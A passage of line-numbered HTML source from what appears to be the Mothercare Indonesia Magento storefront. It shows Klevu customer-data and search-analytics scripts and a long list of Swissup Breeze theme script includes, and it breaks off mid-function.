1914<script type="text/javascript" id="klevu_initsessiondata"> 1915 var nowUnixtime = parseInt(Date.now() / 1000); 1916 1917 function klevufejs_getCookie(name) { 1918 if (typeof(name) === "undefined") { 1919 name = "klv_mage"; 1920 } 1921 var c = "", 1922 ca = document.cookie.split(';'); 1923 for (var i = 0; i < ca.length; i++) { 1924 c = ca[i]; 1925 if (typeof c !== "string") { 1926 continue; 1927 } 1928 var cookiePair = c.split("="); 1929 if (name === cookiePair[0].trim()) { 1930 try { 1931 return JSON.parse(decodeURIComponent(cookiePair[1])); 1932 } catch (err) { 1933 // this is fine, data will be regenerated 1934 } 1935 } 1936 } 1937 return { 1938 expire_sections: {} 1939 }; 1940 } 1941 document.addEventListener('klevu.customerData.loaded', function(e) { 1942 var klevufejs_cookie = klevufejs_getCookie(); 1943 klevufejs_cookie.expire_sections.customerData = nowUnixtime + 600; 1944 document.cookie = "klv_mage=" + JSON.stringify(klevufejs_cookie) + ";" + (new Date((nowUnixtime + 3600) * 1000).toUTCString()) + ";path=/;SameSite=Strict"; 1945 }); 1946 var klevufejs_cookie = klevufejs_getCookie(); 1947 var klevuData = { 1948 ...{ 1949 customerData: { 1950 revalidate_after: -1 1951 } 1952 }, 1953 ...JSON.parse(window.localStorage.getItem('klv_mage') || '{}') 1954 }; 1955 const klevuCustomerDataLoadedEvent = document.createEvent('CustomEvent'); 1956 klevuCustomerDataLoadedEvent.initEvent('klevu.customerData.loaded', false, true); 1957 const klevuCustomerDataLoadErrorEvent = document.createEvent('CustomEvent'); 1958 klevuCustomerDataLoadErrorEvent.initEvent('klevu.customerData.loadError', false, true); 1959 if (typeof klevufejs_cookie.expire_sections !== "object" || (klevufejs_cookie.expire_sections.customerData || -1) < nowUnixtime || klevuData.customerData.revalidate_after < nowUnixtime) { 1960 var xhttp = new XMLHttpRequest(); 1961 xhttp.onerror = function(request) { 1962 document.dispatchEvent(klevuCustomerDataLoadErrorEvent); 1963 }; 1964 xhttp.ontimeout = function(request) { 1965 this.onerror(request); 1966 }; 1967 xhttp.onload = function(request) { 1968 if (this.status >= 400 || this.timeout) { 1969 this.onerror(request); 1970 return; 1971 } 1972 var klevuData = JSON.parse(window.localStorage.getItem('klv_mage') || '{}'); 1973 klevuData.customerData = JSON.parse(this.response); 1974 window.localStorage.setItem('klv_mage', JSON.stringify(klevuData)); 1975 document.dispatchEvent(klevuCustomerDataLoadedEvent); 1976 }; 1977 xhttp.open('GET', 'https://www.mothercare.co.id/rest/V1/klevu/customerData', false); 1978 xhttp.send(); 1979 } else { 1980 document.dispatchEvent(klevuCustomerDataLoadedEvent); 1981 } 1982 </script>
1982 1983
1983<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/knockout-3.5.1.min.js"></script>
1983 1984
1984<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/extend-ko.min.js"></script>
1984 1985
1985<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/turbolinks-5.2.0.min.js"></script>
1985 1986
1986<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/underscore-1.13.1.min.js"></script>
1986 1987
1987<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/tabbable-5.2.1.min.js"></script>
1987 1988
1988<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/focus-trap-6.7.1.min.js"></script>
1988 1989
1989<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/cash-8.1.2.min.js"></script>
1989 1990
1990<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/extend-cash.min.js"></script>
1990 1991
1991<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/swiped-events-1.1.4.min.js"></script>
1991 1992
1992<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/js.cookie-3.0.1.min.js"></script>
1992 1993
1993<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/class.min.js"></script>
1993 1994
1994<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/double-tap.min.js"></script>
1994 1995
1995<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/globals.min.js"></script>
1995 1996
1996<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/load-script.min.js"></script>
1996 1997
1997<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/async.min.js"></script>
1997 1998
1998<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/request.min.js"></script>
1998 1999
1999<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/translate.min.js"></script>
1999 2000
2000<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/validator.min.js"></script>
2000 2001
2001<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/component.min.js"></script>
2001 2002
2002<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/cookie.min.js"></script>
2002 2003
2003<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/storage.min.js"></script>
2003 2004
2004<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/sections.min.js"></script>
2004 2005
2005<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/main.min.js"></script>
2005 2006
2006<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/turbo.min.js"></script>
2006 2007
2007<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/core/define.min.js"></script>
2007 2008
2008<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/common/common.min.js"></script>
2008 2009
2009<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/common/url.min.js"></script>
2009 2010
2010<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/common/theme.min.js"></script>
2010 2011
2011<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/js/breeze/theme-blank.min.js"></script>
2011 2012
2012<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/js/breeze/extend.min.js"></script>
2012 2013
2013<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/js/breeze/custom.min.js"></script>
2013 2014
2014<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/validators/core.min.js"></script>
2014 2015
2015<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/form.min.js"></script>
2015 2016
2016<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/lite-yt-embed.min.js"></script>
2016 2017
2017<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/dropdown.min.js"></script>
2017 2018
2018<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/dropdown-dialog.min.js"></script>
2018 2019
2019<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/collapsible.min.js"></script>
2019 2020
2020<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/tabs.min.js"></script>
2020 2021
2021<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/accordion.min.js"></script>
2021 2022
2022<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/toggle-advanced.min.js"></script>
2022 2023
2023<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/modal.min.js"></script>
2023 2024
2024<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/confirm.min.js"></script>
2024 2025
2025<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/ui/alert.min.js"></script>
2025 2026
2026<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/customer-data.min.js"></script>
2026 2027
2027<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/customer.min.js"></script>
2027 2028
2028<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/form-key.min.js"></script>
2028 2029
2029<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/page-cache.min.js"></script>
2029 2030
2030<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/messages.min.js"></script>
2030 2031
2031<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/block-loader.min.js"></script>
2031 2032
2032<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/data-post.min.js"></script>
2032 2033
2033<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/menu.min.js"></script>
2033 2034
2034<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/minicart.min.js"></script>
2034 2035
2035<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/proceed-to-checkout.min.js"></script>
2035 2036
2036<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/catalog-add-to-cart.min.js"></script>
2036 2037
2037<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/product-list-toolbar-form.min.js"></script>
2037 2038
2038<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/compare-products.min.js"></script>
2038 2039
2039<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/validation.min.js"></script>
2039 2040
2040<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/redirect-url.min.js"></script>
2040 2041
2041<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/quick-search.min.js"></script>
2041 2042
2042<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/msrp.min.js"></script>
2042 2043
2043<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/google-tag-manager-universal.min.js"></script>
2043 2044
2044<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/google-tag-manager.min.js"></script>
2044 2045
2045<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/wishlist.min.js"></script>
2045 2046
2046<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/recent-products.min.js"></script>
2046 2047
2047<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/form-provider.min.js"></script>
2047 2048
2048<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/login-as-customer.min.js"></script>
2048 2049
2049<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/captcha.min.js"></script>
2049 2050
2050<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/google-recaptcha.min.js"></script>
2050 2051
2051<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Ajaxpro/js/modal-manager.min.js"></script>
2051 2052
2052<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Ajaxpro/js/breeze/ajaxpro.min.js"></script>
2052 2053
2053<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Ajaxpro/js/breeze/modal.min.js"></script>
2053 2054
2054<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Ajaxpro/js/breeze/data-post.min.js"></script>
2054 2055
2055<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Ajaxpro/js/breeze/catalog-add-to-cart.min.js"></script>
2055 2056
2056<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Ajaxpro/js/breeze/catalog-product-view.min.js"></script>
2056 2057
2057<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Easytabs/js/breeze/tabs.min.js"></script>
2057 2058
2058<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Easytabs/js/tabs-toolbar.min.js"></script>
2058 2059
2059<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Easytabs/js/tabs-updater.min.js"></script>
2059 2060
2060<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/validate-product.min.js"></script>
2060 2061
2061<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/register-viewed-products.min.js"></script>
2061 2062
2062<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/common/price-utils.min.js"></script>
2062 2063
2063<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/price-box.min.js"></script>
2063 2064
2064<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/price-options.min.js"></script>
2064 2065
2065<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/breadcrumbs.min.js"></script>
2065 2066
2066<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/gallery.min.js"></script>
2066 2067
2067<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/lib/panzoom-4.5.0.min.js"></script>
2067 2068
2068<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/gallery-panzoom.min.js"></script>
2068 2069
2069<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/reviews.min.js"></script>
2069 2070
2070<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/common/shuffle-and-reveal.min.js"></script>
2070 2071
2071<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/upsell-products.min.js"></script>
2071 2072
2072<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/related-products.min.js"></script>
2072 2073
2073<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/validators/cart.min.js"></script>
2073 2074
2074<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/product-configure.min.js"></script>
2074 2075
2075<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/bundle.min.js"></script>
2075 2076
2076<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/configurable.min.js"></script>
2076 2077
2077<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/swatch-renderer.min.js"></script>
2077 2078
2078<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/configurable-configure.min.js"></script>
2078 2079
2079<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/validators/customer.min.js"></script>
2079 2080
2080<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/address.min.js"></script>
2080 2081
2081<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/change-email-password.min.js"></script>
2081 2082
2082<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/region-updater.min.js"></script>
2082 2083
2083<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/address-validation.min.js"></script>
2083 2084
2084<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/customer-assistance.min.js"></script>
2084 2085
2085<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/last-ordered-items.min.js"></script>
2085 2086
2086<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/logout-redirect.min.js"></script>
2086 2087
2087<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Kanmo_CustomerName/js/breeze/customer-name.min.js"></script>
2087 2088
2088<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Magento_CustomerCustomAttributes/js/breeze/cityUpdater.min.js"></script>
2088 2089
2089<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Magento_CustomerCustomAttributes/js/breeze/districtUpdater.min.js"></script>
2089 2090
2090<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Magento_CustomerCustomAttributes/js/breeze/postalcodeUpdater.min.js"></script>
2090 2091
2091<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Magento_CustomerCustomAttributes/js/breeze/subdistrictUpdater.min.js"></script>
2091 2092
2092<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/pagebuilder/slider.min.js"></script>
2092 2093
2093<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/pagebuilder/carousel.min.js"></script>
2093 2094
2094<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/pagebuilder/tabs.min.js"></script>
2094 2095
2095<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/pagebuilder/map.min.js"></script>
2095 2096
2096<script data-breeze="" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Swissup_Breeze/js/components/pagebuilder/initializer.min.js"></script>
2096 2097 <link rel="preload" as="image" href="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp" imagesrcset="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp 512w,https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp 549w,https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp 608w,https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp 704w,https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp 960w,https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp 1216w" imagesizes="(min-width: 1536px) 608px, (min-width: 1280px) calc((85vw - 4rem) / 2), (min-width: 768px) calc((100vw - 4rem) / 2), calc(100vw - 1rem)"> 2098
2098<script data-breeze="1" type="module"> 2099 required.map((pair) => require(pair[0], pair[1])); 2100 required = []; 2101 </script>
2101 2102
2102<script type="text/javascript" id="kfl-baa22895-5ad0-49c9-ea1a-f04cfc00cfe8"> 2103 ! function(e) { 2104 e.support.hook(["analytics.collector", "analytics.utility"], (function() { 2105 e.support.isActive("analytics.processors") || (e.extend(!0, e.analytics, { 2106 processors: { 2107 helpers: { 2108 buildAnalyticsEvent: function(t) { 2109 return { 2110 payload: t.payload, 2111 type: t.type, 2112 url: e.getGlobalSetting("url.analyticsCollect", "https://stats.ksearchnet.com/analytics/"), 2113 apiKey: e.getObjectPath(t.eventSource, "apiKey", e.getGlobalSetting("search.apiKey", e.getGlobalSetting("global.apiKey"))), 2114 key: t.type + "_" + e.getObjectPath(t, "id", e.randomId()) 2115 } 2116 } 2117 }, 2118 product: { 2119 helpers: { 2120 buildAnalyticsEvent: function(t) { 2121 return { 2122 payload: t.payload, 2123 type: t.type, 2124 url: e.getGlobalSetting("url.analyticsCollect", "https://stats.ksearchnet.com/analytics/"), 2125 apiKey: e.getObjectPath(t.eventSource, "apiKey", e.getGlobalSetting("search.apiKey", e.getGlobalSetting("global.apiKey"))), 2126 key: t.type + "_" + t.itemId 2127 } 2128 } 2129 }, 2130 click: function(t) { 2131 let s = { 2132 type: "product_click", 2133 eventSource: t, 2134 payload: {}, 2135 itemId: 0 2136 }, 2137 a = e.getObjectPath(t, "data.items.0", {}), 2138 n = e.getObjectPath(t, "data.meta.tags", []), 2139 i = { 2140 klevu_keywords: e.getObjectPath(t, "data.meta.searchedTerm", "*"), 2141 klevu_pageNumber: e.getObjectPath(t, "data.meta.pageNumber", ""), 2142 klevu_src: e.getObjectPath(t, "data.meta.src", ""), 2143 klevu_limit: e.getObjectPath(t, "data.meta.limit", ""), 2144 klevu_sort: e.getObjectPath(t, "data.meta.sort", ""), 2145 klevu_totalResults: e.getObjectPath(t, "data.meta.totalResults", "0"), 2146 klevu_typeOfQuery: e.getObjectPath(t, "data.meta.typeOfQuery", "WILDCARD_AND"), 2147 tags: n 2148 }; 2149 if (e.support.isActive("user")) { 2150 let t = e.user.getIpData(); 2151 e.isUndefined(t.ipv4) || (i.klevu_shopperIP_v4 = t.ipv4), e.isUndefined(t.ipv6) || (i.klevu_shopperIP_v6 = t.ipv6), e.isUndefined(t.uuid) || (i.klevu_uuid = t.uuid) 2152 } 2153 e.support.isActive("core.dataProtection") && (i.data_protection = e.dataProtection.dataCanBeTracked()), i.klevu_productId = e.getObjectPath(a, "id", 0), e.getObjectPath(a, "itemGroupId", !1) && (i.klevu_productGroupId = e.getObjectPath(a, "itemGroupId", !1)), i.klevu_productVariantId = e.getObjectPath(a, "variantId", !1), i.klevu_productName = e.getObjectPath(a, "name", !1), i.klevu_productUrl = e.getObjectPath(a, "url", !1), s.id = e.getObjectPath(a, "id", 0); 2154 let r, c = e.getObjectPath(t, "scope", "").split(","); 2155 e.each(c, (function(n, c) { 2156 switch (c) { 2157 case "quick": 2158 e.getObjectPath(t, "data.filters.activeFilters", !1) && (i.klevu_keywords += " [[" + e.getObjectPath(t, "data.filters.activeFiltersString", "") + "]]"), i.klevu_src = i.klevu_src.replace("]]", ";;template:quick-search]]"), s.payload = i, s.type = "search_product_click", r = e.analytics.processors.helpers.buildAnalyticsEvent(s), e.analytics.utility.addAnalyticsEventsToStorage(r); 2159 break; 2160 case "landing": 2161 i.klevu_src = "[[typeOfRecord:" + e.getObjectPath(a, "typeOfRecord", "KLEVU_PRODUCT") + ";;template:landing]]", e.getObjectPath(t, "data.filters.activeFilters", !1) && (i.klevu_keywords += " [[" + e.getObjectPath(t, "data.filters.activeFiltersString", "") + "]]", i.klevu_src = i.klevu_src.replace("]]", ";;source:filters]]")), s.payload = i, s.type = "search_product_click", r = e.analytics.processors.helpers.buildAnalyticsEvent(s), e.analytics.utility.addAnalyticsEventsToStorage(r); 2162 break; 2163 case "catnav": 2164 i.klevu_src = "[[typeOfRecord:" + e.getObjectPath(a, "typeOfRecord", "KLEVU_PRODUCT") + ";;template:" + e.getObjectPath(t, "data.meta.srcTemplateName", "category") + "]]", e.getObjectPath(t, "data.filters.activeFilters", !1) && (i.klevu_activeFilters = e.getObjectPath(t, "data.filters.activeFiltersString", ""), i.klevu_src = i.klevu_src.replace("]]", ";;source:filters]]")), i.klevu_categoryName = e.getObjectPath(t, "data.meta.categoryName", ""), i.klevu_categoryPath = e.getObjectPath(t, "data.meta.categoryPath", ""), i.klevu_abTestId = e.getObjectPath(t, "data.meta.abTestId", ""), i.klevu_abTestVariantId = e.getObjectPath(t, "data.meta.abTestVariantId", ""), i.klevu_abTestSource = e.getObjectPath(t, "data.meta.abTestSource", ""); 2165 let n = e.getObjectPath(t, "data.originalItems", []); 2166 if (n.length > 0) { 2167 let t = []; 2168 e.each(n, (function(e, s) { 2169 s.id && t.push(s.id) 2170 })), i.klevu_productIds = t.join(",") 2171 } 2172 i.klevu_productRatings = e.getObjectPath(a, "rating", 0), i.klevu_productPosition = e.getObjectPath(t, "data.meta.pageStartsFrom", 0), i.klevu_salePrice = e.getObjectPath(a, "salePrice", 0), i.klevu_productSku = e.getObjectPath(a, "sku", !1), delete i.klevu_keywords, s.payload = i, s.type = "catnav_product_click", r = e.analytics.processors.helpers.buildAnalyticsEvent(s), e.analytics.utility.addAnalyticsEventsToStorage(r) 2173 } 2174 })) 2175 }, 2176 personalisedClick: function(t) { 2177 let s = { 2178 type: "personalised_product_click", 2179 eventSource: t, 2180 payload: {}, 2181 itemId: 0 2182 }, 2183 a = 